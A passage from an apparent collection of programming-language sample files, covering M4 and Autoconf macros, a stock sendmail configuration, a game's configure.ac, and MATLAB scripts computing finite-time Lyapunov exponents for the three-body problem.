def\"')\n\ndefine(`thinlines_',`linethick = 0.4\n arrowwid = 0.04*scale; arrowht = 0.2/3*scale\n command \" 0.4 setlinewidth\";')\ndefine(`thicklines_',`linethick = 0.8\n arrowwid = 0.05*scale; arrowht = 0.1*scale\n command \" 0.8 setlinewidth\";')\n                                `linethick_(x)\n                                 set line width to x pt (default 0.8)\n                                 and scale arrowhead parameters'\ndefine(`linethick_',`linethick = ifelse(`$1',,`0.8',`$1'); dnl\n arrowwid = ifelse(`$1',,`0.05',linethick/16)*scale; dnl\n arrowht = ifelse(`$1',,`0.1',linethick/8)*scale;')\n\ndivert(0)dnl\n"
  },
  {
    "path": "samples/M4/sendmail.mc",
    "content": "divert(-1)dnl\ndnl #\ndnl # This is the sendmail macro config file for m4. If you make changes to\ndnl # /etc/mail/sendmail.mc, you will need to regenerate the\ndnl # /etc/mail/sendmail.cf file by confirming that the sendmail-cf package is\ndnl # installed\ninclude(`/usr/share/sendmail-cf/m4/cf.m4')dnl\nVERSIONID(`setup for linux')dnl\nOSTYPE(`linux')dnl\ndnl #\ndnl # Do not advertize sendmail version.\ndnl #\ndnl define(`confSMTP_LOGIN_MSG', `$j Sendmail; $b')dnl\ndnl #\ndnl # default logging level is 9, you might want to set it higher to\ndnl # debug the configuration\ndnl #\ndnl define(`confLOG_LEVEL', `9')dnl\ndnl define(`SMART_HOST', `smtp.your.provider')dnl\ndefine(`confDEF_USER_ID', ``8:12'')dnl\ndnl define(`confAUTO_REBUILD')dnl\ndefine(`confTO_CONNECT', `1m')dnl\ndefine(`confTRY_NULL_MX_LIST', `True')dnl\ndefine(`confDONT_PROBE_INTERFACES', `True')dnl\ndefine(`PROCMAIL_MAILER_PATH', `/usr/bin/procmail')dnl\ndefine(`ALIAS_FILE', `/etc/aliases')dnl\ndefine(`STATUS_FILE', `/var/log/mail/statistics')dnl\ndefine(`UUCP_MAILER_MAX', `2000000')dnl\ndefine(`confUSERDB_SPEC', `/etc/mail/userdb.db')dnl\ndefine(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl\ndefine(`confAUTH_OPTIONS', `A')dnl\ndnl #\ndnl # The following allows relaying if the user authenticates, and disallows\ndnl # plaintext authentication (PLAIN/LOGIN) on non-TLS links\ndnl #\ndnl define(`confAUTH_OPTIONS', `A p')dnl\ndnl TRUST_AUTH_MECH(`EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl\ndnl define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl\ndnl #\ndnl # Rudimentary information on creating certificates for sendmail TLS:\ndnl #     cd /etc/pki/tls/certs; make sendmail.pem\ndnl # Complete usage:\ndnl #     make -C /etc/pki/tls/certs usage\ndnl #\ndnl define(`confCACERT_PATH', `/etc/pki/tls/certs')dnl\ndnl define(`confCACERT', `/etc/pki/tls/certs/ca-bundle.crt')dnl\ndnl define(`confSERVER_CERT', `/etc/pki/tls/certs/sendmail.pem')dnl\ndnl define(`confSERVER_KEY', `/etc/pki/tls/certs/sendmail.pem')dnl\ndnl #\ndnl # This allows sendmail to use a keyfile that is shared with OpenLDAP's\ndnl # slapd, which requires the file to be readble by group ldap\ndnl #\ndnl define(`confDONT_BLAME_SENDMAIL', `groupreadablekeyfile')dnl\ndnl #\ndnl define(`confTO_QUEUEWARN', `4h')dnl\ndnl define(`confTO_QUEUERETURN', `5d')dnl\ndnl define(`confQUEUE_LA', `8')dnl\ndnl define(`confREFUSE_LA', `16')dnl\ndefine(`confTO_IDENT', `0')dnl\ndnl FEATURE(delay_checks)dnl\nFEATURE(`no_default_msa', `dnl')dnl\nFEATURE(`smrsh', `/usr/sbin/smrsh')dnl\nFEATURE(`mailertable', `hash -o /etc/mail/mailertable.db')dnl\nFEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl\nFEATURE(redirect)dnl\nFEATURE(always_add_domain)dnl\nFEATURE(use_cw_file)dnl\nFEATURE(use_ct_file)dnl\ndnl define(`confMAX_DAEMON_CHILDREN', `10')dnl\ndnl define(`confCONNECTION_RATE_THROTTLE', `3')dnl\ndnl #\ndnl # The -t option will retry delivery if e.g. the user runs over his quota.\ndnl #\nFEATURE(local_procmail, `', `procmail -t -Y -a $h -d $u')dnl\nFEATURE(`access_db', `hash -T<TMPF> -o /etc/mail/access.db')dnl\nFEATURE(`blacklist_recipients')dnl\nEXPOSED_USER(`root')dnl\ndnl define(`confLOCAL_MAILER', `cyrusv2')dnl\ndnl define(`CYRUSV2_MAILER_ARGS', `FILE /var/lib/imap/socket/lmtp')dnl\ndnl DAEMON_OPTIONS(`Port=submission, Name=MSA, M=Ea')dnl\ndnl #\ndnl # For this to work your OpenSSL certificates must be configured.\ndnl #\ndnl DAEMON_OPTIONS(`Port=smtps, Name=TLSMTA, M=s')dnl\ndnl #\ndnl # The following causes sendmail to additionally listen on the IPv6 loopback\ndnl # device. Remove the loopback address restriction listen to the network.\ndnl #\ndnl DAEMON_OPTIONS(`port=smtp,Addr=::1, Name=MTA-v6, Family=inet6')dnl\ndnl #\ndnl # enable both ipv6 and ipv4 in sendmail:\ndnl #\ndnl DAEMON_OPTIONS(`Name=MTA-v4, Family=inet, Name=MTA-v6, Family=inet6')\nFEATURE(`accept_unresolvable_domains')dnl\ndnl #\ndnl FEATURE(`relay_based_on_MX')dnl\ndnl #\ndnl # Also accept email sent to \"localhost.localdomain\" as local email.\ndnl # \nLOCAL_DOMAIN(`localhost.localdomain')dnl\ndnl #\ndnl # The following example makes mail from this host and any additional\ndnl # specified domains appear to be sent from mydomain.com\ndnl #\ndnl MASQUERADE_AS(`mydomain.com')dnl\ndnl #\ndnl # masquerade not just the headers, but the envelope as well\ndnl #\ndnl FEATURE(masquerade_envelope)dnl\ndnl #\ndnl # masquerade not just @mydomainalias.com, but @*.mydomainalias.com as well\ndnl #\ndnl FEATURE(masquerade_entire_domain)dnl\ndnl #\ndnl MASQUERADE_DOMAIN(localhost)dnl\ndnl MASQUERADE_DOMAIN(localhost.localdomain)dnl\ndnl MASQUERADE_DOMAIN(mydomainalias.com)dnl\ndnl MASQUERADE_DOMAIN(mydomain.lan)dnl\nMAILER(smtp)dnl\nMAILER(procmail)dnl\ndnl MAILER(cyrusv2)dnl\n"
  },
  {
    "path": "samples/M4/translit2.m4",
    "content": "dnl $FreeBSD$\ntranslit(`[HAVE_abc/def.h\n]', `\n/.', `/  ')\ntranslit(`[HAVE_abc/def.h=]', `=/.', `/~~')\ntranslit(`0123456789', `0123456789', `ABCDEFGHIJ')\ntranslit(`0123456789', `[0-9]', `[A-J]')\ntranslit(`abc-0980-zyx', `abcdefghijklmnopqrstuvwxyz', `ABCDEFGHIJKLMNOPQRSTUVWXYZ') \ntranslit(`abc-0980-zyx', `[a-z]', `[A-Z]') \n"
  },
  {
    "path": "samples/M4Sugar/ax_ruby_devel.m4",
    "content": "# ===========================================================================\n#       http://www.gnu.org/software/autoconf-archive/ax_ruby_devel.html\n# ===========================================================================\n#\n# SYNOPSIS\n#\n#   AX_RUBY_DEVEL([version])\n#\n# DESCRIPTION\n#\n#   This macro checks for Ruby and tries to get the include path to\n#   'ruby.h'. It provides the $(RUBY_CPPFLAGS) and $(RUBY_LDFLAGS) output\n#   variables. It also exports $(RUBY_EXTRA_LIBS) for embedding Ruby in your\n#   code.\n#\n#   You can search for some particular version of Ruby by passing a\n#   parameter to this macro, for example \"1.8.6\".\n#\n# LICENSE\n#\n#   Copyright (c) 2008 Rafal Rzepecki <divided.mind@gmail.com>\n#   Copyright (c) 2008 Sebastian Huber <sebastian-huber@web.de>\n#   Copyright (c) 2008 Alan W. Irwin\n#   Copyright (c) 2008 Rafael Laboissiere <rafael@laboissiere.net>\n#   Copyright (c) 2008 Andrew Collier\n#   Copyright (c) 2008 Matteo Settenvini <matteo@member.fsf.org>\n#   Copyright (c) 2008 Horst Knorr <hk_classes@knoda.org>\n#\n#   This program is free software: you can redistribute it and/or modify it\n#   under the terms of the GNU General Public License as published by the\n#   Free Software Foundation, either version 3 of the License, or (at your\n#   option) any later version.\n#\n#   This program is distributed in the hope that it will be useful, but\n#   WITHOUT ANY WARRANTY; without even the implied warranty of\n#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\n#   Public License for more details.\n#\n#   You should have received a copy of the GNU General Public License along\n#   with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n#   As a special exception, the respective Autoconf Macro's copyright owner\n#   gives unlimited permission to copy, distribute and modify the configure\n#   scripts that are the output of Autoconf when processing the Macro. You\n#   need not follow the terms of the GNU General Public License when using\n#   or distributing such scripts, even though portions of the text of the\n#   Macro appear in them. The GNU General Public License (GPL) does govern\n#   all other use of the material that constitutes the Autoconf Macro.\n#\n#   This special exception to the GPL applies to versions of the Autoconf\n#   Macro released by the Autoconf Archive. When you make and distribute a\n#   modified version of the Autoconf Macro, you may extend this special\n#   exception to the GPL to apply to your modified version as well.\n\n#serial 11\n\nAC_DEFUN([AX_RUBY_DEVEL],[\n    AC_REQUIRE([AX_WITH_RUBY])\n    AS_IF([test -n \"$1\"], [AX_PROG_RUBY_VERSION([$1])])\n\n    #\n    # Check if you have mkmf, else fail\n    #\n    AC_MSG_CHECKING([for the mkmf Ruby package])\n    ac_mkmf_result=`$RUBY -rmkmf -e \";\" 2>&1`\n    if test -z \"$ac_mkmf_result\"; then\n        AC_MSG_RESULT([yes])\n    else\n        AC_MSG_RESULT([no])\n        AC_MSG_ERROR([cannot import Ruby module \"mkmf\".\nPlease check your Ruby installation. The error was:\n$ac_mkmf_result])\n    fi\n\n    #\n    # Check for Ruby include path\n    #\n    AC_MSG_CHECKING([for Ruby include path])\n    if test -z \"$RUBY_CPPFLAGS\"; then\n        ruby_path=`$RUBY -rmkmf -e 'print Config::CONFIG[[\"archdir\"]]'`\n        if test -n \"${ruby_path}\"; then\n                ruby_path=\"-I$ruby_path\"\n        fi\n        RUBY_CPPFLAGS=$ruby_path\n    fi\n    AC_MSG_RESULT([$RUBY_CPPFLAGS])\n    AC_SUBST([RUBY_CPPFLAGS])\n\n    #\n    # Check for Ruby library path\n    #\n    AC_MSG_CHECKING([for Ruby library path])\n    if test -z \"$RUBY_LDFLAGS\"; then\n        RUBY_LDFLAGS=`$RUBY -rmkmf -e 'print Config::CONFIG[[\"LIBRUBYARG_SHARED\"]]'`\n    fi\n    AC_MSG_RESULT([$RUBY_LDFLAGS])\n    AC_SUBST([RUBY_LDFLAGS])\n\n    #\n    # Check for site packages\n    #\n    AC_MSG_CHECKING([for Ruby site-packages path])\n    if test -z \"$RUBY_SITE_PKG\"; then\n        RUBY_SITE_PKG=`$RUBY -rmkmf -e 'print Config::CONFIG[[\"sitearchdir\"]]'`\n    fi\n    AC_MSG_RESULT([$RUBY_SITE_PKG])\n    AC_SUBST([RUBY_SITE_PKG])\n\n    #\n    # libraries which must be linked in when embedding\n    #\n    AC_MSG_CHECKING(ruby extra libraries)\n    if test -z \"$RUBY_EXTRA_LIBS\"; then\n       RUBY_EXTRA_LIBS=`$RUBY -rmkmf -e 'print Config::CONFIG[[\"SOLIBS\"]]'`\n    fi\n    AC_MSG_RESULT([$RUBY_EXTRA_LIBS])\n    AC_SUBST(RUBY_EXTRA_LIBS)\n\n    #\n    # linking flags needed when embedding\n    # (is it even needed for Ruby?)\n    #\n    # AC_MSG_CHECKING(ruby extra linking flags)\n    # if test -z \"$RUBY_EXTRA_LDFLAGS\"; then\n    # RUBY_EXTRA_LDFLAGS=`$RUBY -rmkmf -e 'print Config::CONFIG[[\"LINKFORSHARED\"]]'`\n    # fi\n    # AC_MSG_RESULT([$RUBY_EXTRA_LDFLAGS])\n    # AC_SUBST(RUBY_EXTRA_LDFLAGS)\n\n    # this flags breaks ruby.h, and is sometimes defined by KDE m4 macros\n    CFLAGS=\"`echo \"$CFLAGS\" | sed -e 's/-std=iso9899:1990//g;'`\"\n    #\n    # final check to see if everything compiles alright\n    #\n    AC_MSG_CHECKING([consistency of all components of ruby development environment])\n    AC_LANG_PUSH([C])\n    # save current global flags\n    ac_save_LIBS=\"$LIBS\"\n    LIBS=\"$ac_save_LIBS $RUBY_LDFLAGS\"\n    ac_save_CPPFLAGS=\"$CPPFLAGS\"\n    CPPFLAGS=\"$ac_save_CPPFLAGS $RUBY_CPPFLAGS\"\n    AC_TRY_LINK([\n        #include <ruby.h>\n    ],[\n        ruby_init();\n    ],[rubyexists=yes],[rubyexists=no])\n\n    AC_MSG_RESULT([$rubyexists])\n\n    if test ! \"$rubyexists\" = \"yes\"; then\n       AC_MSG_ERROR([\n  Could not link test program to Ruby. Maybe the main Ruby library has been\n  installed in some non-standard library path. If so, pass it to configure,\n  via the LDFLAGS environment variable.\n  Example: ./configure LDFLAGS=\"-L/usr/non-standard-path/ruby/lib\"\n  ============================================================================\n   ERROR!\n   You probably have to install the development version of the Ruby package\n   for your distribution.  The exact name of this package varies among them.\n  ============================================================================\n       ])\n      RUBY_VERSION=\"\"\n    fi\n    AC_LANG_POP\n    # turn back to default flags\n    CPPFLAGS=\"$ac_save_CPPFLAGS\"\n    LIBS=\"$ac_save_LIBS\"\n\n    #\n    # all done!\n    #\n])\n"
  },
  {
    "path": "samples/M4Sugar/filenames/configure.ac",
    "content": "#                                               -*- Autoconf -*-\n# Process this file with autoconf to produce a configure script.\n\nAC_PREREQ(2.68)\nAC_INIT([GARDEN], \n\t[1.0.9], \n\t[bubla@users.sourceforge.net])\nAC_CONFIG_AUX_DIR([build-aux])\nAM_INIT_AUTOMAKE([-Wall])\nAC_CONFIG_SRCDIR([src/input.h])\nAC_CONFIG_HEADERS([src/configure.h])\nAC_CONFIG_MACRO_DIR([m4])\n\nAC_ARG_ENABLE([debug],\n\t      [AS_HELP_STRING([--enable-debug],\n\t\t\t   [Builds the debug version of the library [[default = no]]]) ],\n\t      [],\n\t      [enable_debug=\"no\"])\n\nAS_IF([test \"x$enable_debug\" = \"xyes\"],\n      [CFLAGS=\"${CFLAGS} -g -O0\"])\n\n# Checks for programs.\nAC_PROG_CC\nAC_PROG_LIBTOOL\nLT_PROG_RC\n\nAC_CANONICAL_HOST\n\ndnl\ndnl Check whether it makes sense to install a garden.desktop file\ndnl\nAC_CHECK_PROG([have_freedesktop],\n\t      [update-desktop-database],\n\t      [yes])\n\nAM_CONDITIONAL([HAVE_FREEDESKTOP],\n\t       [test \"x$have_freedesktop\" = \"xyes\"])\n\nAM_CONDITIONAL([WANT_FREEDESKTOP],\n\t       [test \"x$enable_desktop_install\" = \"xyes\"])\n\nAC_ARG_ENABLE([desktop-install],\n\t      [AS_HELP_STRING([--enable-desktop-install],\n\t\t\t      [Whether you want to install the garden.desktop file if applicable. !!! DO NOT USE if you are a PACKAGER!!!])]\n\t      )\n\nAS_CASE([$host],\n        [*mingw* | *cygwin*],\n        [AC_DEFINE([WINDOWS_VERSION],\n \t\t   [1],\n\t\t   [Define when building for Windows])\n         windows_version=\"yes\"])\n\nAM_CONDITIONAL([WINDOWS_VERSION],\n\t       [test \"x$windows_version\" = \"xyes\" ])\n\ndnl now the datadir specification, that is useful if one does want to play without installing\nAC_ARG_ENABLE([datadir],\n\t      [AS_HELP_STRING([--enable-datadir=path-to-your-garden-datafiles],\n\t\t\t      [Normally you dont have to use this, but it is handy when you want to play the game without installing it or if you want to use already installed data. In the first case, use for instance --enable-datadir=`pwd`/data (if it makes sense)])], \n\t      [DATADIR_NAME=\"$enableval\"],\n\t      [DATADIR_NAME='$(datadir)/'garden])\n\n# Sets the data subdirectory\nAC_SUBST([DATADIR_NAME])\n\n# Checks for libraries.\nAC_CHECK_HEADER([allegro.h],\n\t\t[],\n\t\t[have_allegro=\"no\"\n\t\t AC_MSG_ERROR([You don't even have Allegro headers... Get Allegro first!]) ])\n\nAC_CHECK_LIB([m], [sin])\n\ntest \"x$host_os\" != \"x$build_os\" && CROSS_COMPILING=\"yes\"\n\ntry_link_allegro ()\n{\n\tLIBS_SAVE=$LIBS\n\tLIBS=\"$LIBS $1\"\n\tAC_MSG_CHECKING([for Allegro using $1])\n\tAC_LINK_IFELSE([AC_LANG_PROGRAM([AC_INCLUDES_DEFAULT\n\t\t\t\t\t [ #include <allegro.h> ]],\n\t\t\t\t\t[allegro_init();])END_OF_MAIN() ],\n\t\t       [have_allegro=\"yes\"],\n\t\t       [have_allegro=\"no\"])\n\tAC_MSG_RESULT([$have_allegro])\n\tLIBS=$LIBS_SAVE\n\tAS_IF([test \"x$have_allegro\" == \"xyes\"],\n\t      [return 0],\n\t      [return 1])\n}\n# first check for 'official allegro'\n# The official allegro does not support cross-compiling, though...\nAM_PATH_ALLEGRO([4.2.0]) \n\ntry_link_allegro \"$allegro_LIBS\"\nAS_IF([test \"x$?\" == \"x0\"],\n      [[LIBS=\"$LIBS $allegro_LIBS\"\n       ALLEGRO_LIB=`echo $allegro_LIBS | sed -e 's/.*-l\\([^[:blank:]]*\\).*/\\1/'`\n       have_allegro=\"yes\"]])\n\nALLEGRO_RELEASE_LIBS=\"alleg alleg42 alleg44\"\nALLEGRO_DEBUG_LIBS=\"alld42 alleg44-debug\"\nAS_IF([test \"x$enable_debug\" = \"xyes\"],\n      [ALLEGRO_LIBS=\"$ALLEGRO_DEBUG_LIBS $ALLEGRO_RELEASE_LIBS\"],\n      [ALLEGRO_LIBS=\"$ALLEGRO_RELEASE_LIBS $ALLEGRO_DEBUG_LIBS\"])\n\nfor lib in $ALLEGRO_LIBS\ndo\n\tldflag=\"-l$lib\"\n\tAS_IF([test \"x$have_allegro\" == \"xyes\"],\n\t      [break])\n\ttry_link_allegro $ldflag\n\tAS_IF([test \"x$?\" == \"x0\"],\n\t      [LIBS=\"$LIBS $ldflag\"\n\t       ALLEGRO_LIB=\"$lib\"\n\t       have_allegro=\"yes\"])\ndone\n\nAS_IF([test \"x$have_allegro\" != \"xyes\"],\n      [AC_MSG_ERROR([Unable to find Allegro game programming library 4.2, check out www.allegro.cc (or your distro repositories if you use a unix-like system)]) ])\n\n# Checks for header files.\nAC_CHECK_HEADERS([string.h sys/stat.h])\n\n# Checks for typedefs, structures, and compiler characteristics.\nAC_C_INLINE\nAC_HEADER_STDBOOL\n\n# Checks for library functions.\n\nAC_SUBST([ALLEGRO_LIB])\n\nAC_CONFIG_FILES([Makefile\n                 src/Makefile\n\t\t data/Makefile\n\t\t resources/Makefile\n\t \t docs/garden.doxyfile\n\t\t pkgs/w32/winstaller.nsi])\n\nAC_OUTPUT\n"
  },
  {
    "path": "samples/M4Sugar/list.m4",
    "content": "m4_define([m4_list_declare], [m4_do(\n\t[m4_define([$1_GET], [m4_expand([m4_list_nth([$1], $][1)])])],\n\t[m4_define([$1_FOREACH], [m4_foreach([item], [m4_dquote_elt(m4_list_contents([$1]))], m4_quote($][1))])],\n)])\n\nm4_define([m4_list_add], [m4_do(\n\t[m4_pushdef([_LIST_NAME], [[_LIST_$1]])],\n\t[m4_ifndef(_LIST_NAME,\n\t\t[m4_define(_LIST_NAME, m4_dquote(m4_escape([$2])))],\n\t\t[m4_define(_LIST_NAME, m4_dquote(m4_list_contents([$1]), m4_escape([$2])))],\n\t)],\n\t[m4_popdef([_LIST_NAME])],\n)])\n\nm4_define([m4_list_contents], [m4_do(\n\t[m4_pushdef([_LIST_NAME], [[_LIST_$1]])],\n\t[m4_ifndef(_LIST_NAME, [], m4_quote(_LIST_NAME))],\n\t[m4_popdef([_LIST_NAME])],\n)])\n\nm4_define([m4_list_nth], [m4_argn([$2], m4_list_contents([$1]))])\n\nm4_define([m4_list_pop_front], [m4_do(\n\t[m4_pushdef([_LIST_NAME], [[_LIST_$1]])],\n\t[m4_car(m4_unquote(_LIST_NAME))],\n\t[m4_define(_LIST_NAME, m4_cdr(m4_unquote(_LIST_NAME)))],\n\t[m4_popdef([_LIST_NAME])],\n)])\n\nm4_define([m4_list_pop_back], [m4_do(\n\t[m4_pushdef([_LIST_NAME], [[_LIST_$1]])],\n\t[m4_define(_LIST_NAME, m4_dquote(m4_reverse(m4_unquote(_LIST_NAME))))],\n\t[m4_list_pop_front([$1])],\n\t[m4_define(_LIST_NAME, m4_dquote(m4_reverse(m4_unquote(_LIST_NAME))))],\n\t[m4_popdef([_LIST_NAME])],\n)])\n\ndnl\ndnl $1: List name\ndnl $2: What\ndnl $3: If contains\ndnl $4: If not\nm4_define([m4_list_contains], [m4_do(\n\t[m4_foreach([item], m4_list_contents([$1]), m4_if(item, [$2], [[$3]], [[$4]]))]\n)])\n\n"
  },
  {
    "path": "samples/MATLAB/Check_plot.m",
    "content": "x_0=linspace(0,100,101);\r\nvx_0=linspace(0,100,101);\r\nz=zeros(101,101);\r\nfor i=1:101\r\n    for j=1:101\r\n        z(i,j)=x_0(i)*vx_0(j);\r\n    end\r\nend\r\n\r\nfigure\r\npcolor(x_0,vx_0,z)\r\nshading flat"
  },
  {
    "path": "samples/MATLAB/FTLEH.m",
    "content": "tic\r\nclear all\r\n%% Choice of the mass parameter\r\nmu=0.1;\r\n\r\n%% Computation of Lagrangian Points\r\n[xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu);\r\n\r\n%% Computation of initial total energy\r\nE_L1=-Omega(xl1,yl1,mu);\r\nE=E_L1+0.03715; % Offset as in figure 2.2 \"LCS in the ER3BP\"\r\n\r\n%% Initial conditions range\r\nx_0_min=-0.8;\r\nx_0_max=-0.2;\r\n\r\nvx_0_min=-2;\r\nvx_0_max=2;\r\n\r\ny_0=0;\r\n\r\n% Elements for grid definition\r\nn=200;\r\n\r\n% Dimensionless integrating time\r\nT=2;\r\n\r\n% Grid initializing\r\n[x_0,vx_0]=ndgrid(linspace(x_0_min,x_0_max,n),linspace(vx_0_min,vx_0_max,n));\r\nvy_0=sqrt(2*E+2*Omega(x_0,y_0,mu)-vx_0.^2);\r\n\r\n% Kinetic energy computation\r\nE_cin=E+Omega(x_0,y_0,mu);\r\n\r\n%% Transforming into Hamiltonian variables\r\npx_0=vx_0-y_0;\r\npy_0=vy_0+x_0;\r\n\r\n% Inizializing\r\nx_T=zeros(n,n);\r\ny_T=zeros(n,n);\r\npx_T=zeros(n,n);\r\npy_T=zeros(n,n);\r\nfiltro=ones(n,n);\r\nE_T=zeros(n,n);\r\na=zeros(n,n); % matrix of numbers of integration steps for each integration\r\nnp=0; % number of integrated points\r\n\r\nfprintf(' con n = %i\\n',n)\r\n\r\n%% Energy tolerance setting\r\nenergy_tol=inf;\r\n\r\n%% Computation of the Jacobian of the system\r\noptions=odeset('Jacobian',@cr3bp_jac);\r\n\r\n%% Parallel integration of equations of motion\r\nparfor i=1:n\r\n\tfor j=1:n\r\n\t\tif E_cin(i,j)>0 && isreal(vy_0(i,j)) % Check for real velocity and positive Kinetic energy\r\n\t\t\t[t,Y]=ode45(@fH,[0 T],[x_0(i,j); y_0; px_0(i,j); py_0(i,j)],options);\r\n            % Try to obtain the name of the solver for a following use\r\n%  \t\t\tsol=ode45(@f,[0 T],[x_0(i,j); y_0; vx_0(i,j); vy_0(i,j)],options);\r\n% \t\t\tY=sol.y';\r\n% \t\t\tsolver=sol.solver;\r\n\t\t\ta(i,j)=length(Y);\r\n            %Saving solutions\r\n\t\t\tx_T(i,j)=Y(a(i,j),1); \r\n\t\t\tpx_T(i,j)=Y(a(i,j),3);\r\n\t\t\ty_T(i,j)=Y(a(i,j),2);\r\n\t\t\tpy_T(i,j)=Y(a(i,j),4);\r\n\t\t\t%Computation of final total energy and difference with\r\n\t\t\t%initial one\r\n\t\t\tE_T(i,j)=EnergyH(x_T(i,j),y_T(i,j),px_T(i,j),py_T(i,j),mu);\r\n\t\t\tdelta_E=abs(E_T(i,j)-E);\r\n\t\t\tif  delta_E > energy_tol; %Check of total energy conservation\r\n\t\t\t\tfprintf(' Ouch! Wrong Integration: i,j=(%i,%i)\\n E_T=%.2f \\n delta_E=%.2f\\n\\n',i,j,E_T(i,j),delta_E);\r\n\t\t\t\tfiltro(i,j)=2; %Saving position of the point\r\n            end\r\n\t\t\tnp=np+1;\r\n        else\r\n\t\t\tfiltro(i,j)=0; % 1=interesting point; 0=non-sense point; 2= bad integration point\t\t\r\n\t\tend\r\n\tend\r\nend\r\n\r\nt_integrazione=toc;\r\nfprintf('  n = %i\\n',n)\r\nfprintf(' energy_tol = %.2f\\n',energy_tol)\r\nfprintf('total\t\\t%i\\n',n^2)\r\nfprintf('nunber\t\\t%i\\n',np)\r\nfprintf('time to integrate\t\\t%.2f s\\n',t_integr)\r\n\r\n%% Back to Lagrangian variables\r\nvx_T=px_T+y_T;\r\nvy_T=py_T-x_T;\r\n%% FTLE Computation\r\nfprintf('adesso calcolo ftle\\n')\r\ntic\r\ndphi=zeros(2,2);\r\nftle=zeros(n-2,n-2);\r\n\r\nfor i=2:n-1\r\n\tfor j=2:n-1\r\n\t\tif filtro(i,j) && ... % Check for interesting point\r\n\t\t\t\tfiltro(i,j-1) && ...\r\n\t\t\t\tfiltro(i,j+1) && ...\r\n\t\t\t\tfiltro(i-1,j) && ...\r\n\t\t\t\tfiltro(i+1,j)\r\n\t\t\t\r\n\t\t\tdphi(1,1)=(x_T(i-1,j)-x_T(i+1,j))/(x_0(i-1,j)-x_0(i+1,j));\r\n\t\t\t\r\n\t\t\tdphi(1,2)=(x_T(i,j-1)-x_T(i,j+1))/(vx_0(i,j-1)-vx_0(i,j+1));\r\n\t\t\t\r\n\t\t\tdphi(2,1)=(vx_T(i-1,j)-vx_T(i+1,j))/(x_0(i-1,j)-x_0(i+1,j));\r\n\t\t\t\r\n\t\t\tdphi(2,2)=(vx_T(i,j-1)-vx_T(i,j+1))/(vx_0(i,j-1)-vx_0(i,j+1));\r\n            \r\n\t\t\tif filtro(i,j)==2 % Manual setting to visualize bad integrated points \r\n\t\t\t\tftle(i-1,j-1)=-Inf;\r\n\t\t\telse\r\n\t\t\t\tftle(i-1,j-1)=1/(2*T)*log(max(abs(eig(dphi'*dphi))));\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\nend\r\n\r\n%% Plotting results\r\n% figure\r\n% plot(t,Y)\r\n% figure\r\n% plot(Y(:,1),Y(:,2))\r\n% figure\r\n\r\nxx=linspace(x_0_min,x_0_max,n);\r\nvvx=linspace(vx_0_min,vx_0_max,n);\r\n[x,vx]=ndgrid(xx(2:n-1),vvx(2:n-1));\r\nfigure\r\npcolor(x,vx,ftle)\r\nshading flat\r\n\r\nt_ftle=toc;\r\nfprintf('tempo per integrare      \\t%.2f s\\n',t_integrazione)\r\nfprintf('tempo per calcolare ftle \\t%.2f s\\n',t_ftle)\r\n\r\n% save(['var_' num2str(n) '_' num2str(clock(4)])\r\n\r\nnome=['var_xvx_', 'ode00', '_n',num2str(n),'_e',num2str(energy_tol),'_H'];\r\nsave(nome)"
  },
  {
    "path": "samples/MATLAB/FTLE_reg.m",
    "content": "tic\nclear all\n%% Elements for grid definition\nn=100;\n\n%% Dimensionless integrating time\nT=2;\n\n%% Choice of the mass parameter\nmu=0.1;\n\n%% Computation of Lagrangian Points\n[xl1,yl1,xl2,yl2,xl3,yl3,xl4,yl4,xl5,yl5] = Lagr(mu);\n\n%% Computation of initial total energy\nE_L1=-Omega(xl1,yl1,mu);\nC_L1=-2*E_L1; % C_L1 = 3.6869532299 from Szebehely\nE=E_L1+0.03715; % Offset as in figure 2.2 \"LCS in the ER3BP\"\n\n%% Initial conditions range\nx_0_min=-0.8;\nx_0_max=-0.2;\n\nvx_0_min=-2;\nvx_0_max=2;\n\ny_0=0;\n\n% Grid initializing\n[x_0,vx_0]=ndgrid(linspace(x_0_min,x_0_max,n),linspace(vx_0_min,vx_0_max,n));\nvy_0=sqrt(2*E+2.*Omega(x_0,y_0,mu)-vx_0.^2);\n% Kinetic energy computation\nE_cin=E+Omega(x_0,y_0,mu);\n\n% Inizializing\nx_T=zeros(n,n);\ny_T=zeros(n,n);\nvx_T=zeros(n,n);\nvy_T=zeros(n,n);\nfiltro=ones(n,n);\nE_T=zeros(n,n);\ndelta_E=zeros(n,n);\na=zeros(n,n); % matrix of numbers of integration steps for each integration\nnp=0; % number of integrated points\n\nfprintf('integro con n = %i\\n',n)\n\n%% Energy tolerance setting\nenergy_tol=0.1;\n\n%% Setting the options for the integrator\nRelTol=1e-12;AbsTol=1e-12; % From Short\n% RelTol=1e-13;AbsTol=1e-22; % From JD James Mireles\n% RelTol=3e-14;AbsTol=1e-16; % HIGH accuracy from Ross\noptions=odeset('AbsTol',AbsTol,'RelTol',RelTol);\n%% Parallel integration of equations of motion\nh=waitbar(0,'','Name','Integration in progress, please wait!');\nS=zeros(n,n);\nr1=zeros(n,n);\nr2=zeros(n,n);\ng=zeros(n,n);\nfor i=1:n\n    waitbar(i/n,h,sprintf('Computing i=%i',i));\n\tparfor j=1:n\n        r1(i,j)=sqrt((x_0(i,j)+mu).^2+y_0.^2);\n\t\tr2(i,j)=sqrt((x_0(i,j)-1+mu).^2+y_0.^2);\n\t\tg(i,j)=((1-mu)./(r1(i,j).^3)+mu./(r2(i,j).^3));\n\t\tif E_cin(i,j)>0 && isreal(vy_0(i,j)) % Check for real velocity and positive Kinetic energy\n            S(i,j)=g(i,j)*T;\n            [s,Y]=ode45(@f_reg,[0 S(i,j)],[x_0(i,j); y_0; vx_0(i,j); vy_0(i,j)],options,mu);\n\t\t\ta(i,j)=length(Y);\n%             if s(a(i,j)) < 2\n%                 filtro(i,j)=3;\n%             end\n\t\t\t% Saving solutions\n\t\t\tx_T(i,j)=Y(a(i,j),1);\n\t\t\tvx_T(i,j)=Y(a(i,j),3);\n\t\t\ty_T(i,j)=Y(a(i,j),2);\n\t\t\tvy_T(i,j)=Y(a(i,j),4);\n\n\t\t\t% Computation of final total energy and difference 